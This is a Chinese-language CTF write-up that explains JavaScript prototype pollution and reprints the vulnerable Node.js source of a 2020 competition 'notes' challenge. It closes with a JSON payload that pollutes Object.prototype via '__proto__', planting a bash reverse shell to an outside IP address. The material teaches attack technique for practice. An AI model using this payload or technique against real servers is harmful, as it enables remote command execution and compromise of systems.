JavaScript Prototype污染

Prototype

prototype是 JavaScript 中的一个属性,用于定义构造函数的原型对象。每个函数在创建时都会自动拥有一个 prototype 属性,这个属性指向一个对象,这对象包含通过该构造函数创建的实例可以共享的方法和属性。

__proto__每个对象(实例)都有的属性,指向其构造函数的prototype
prototype构造函数的属性,用来定义实例共享的方法和属性。

原理参考继承与原型链

Prototype链结构

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

可以看出原型链的结构如下:

sonSon.prototype(即new Father()) → Father.prototypeObject.prototypenull

具体分析如下,引自深入理解 JavaScript Prototype 污染攻击

对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

Prototype链污染

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Father() {
this.last_name = 'Chou'
}

function Son() {
this.first_name = 'hikin'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

son.__proto__.__proto__.__proto__.last_name = 'Chan'
console.log(`Name: ${{}.first_name} ${{}.last_name}`)

这里的原型链的结构如下:

son.__proto__Son.prototype(即new Father()

son.__proto__.__proto__Father.prototype

son.__protp__.__proto__.__proto__Object.prototypenull


网鼎杯 2020 青龙组 notes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});

app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

漏洞分析

/status路由中,服务端遍历执行 commands 字典里的命令。能污染 commands,就能执行任意命令。

/edit_note 路由中,传入的 idauthorraw 参数会直接写入 note_list。当 id__proto__ 时,可以污染对象的原型链。

漏洞利用

payload

1
2
3
4
5
{
"id": "__proto__",
"author": "/bin/bash -i > /dev/tcp/115.236.153.177/24308 0>&1",
"raw": "123"
}

截图


参考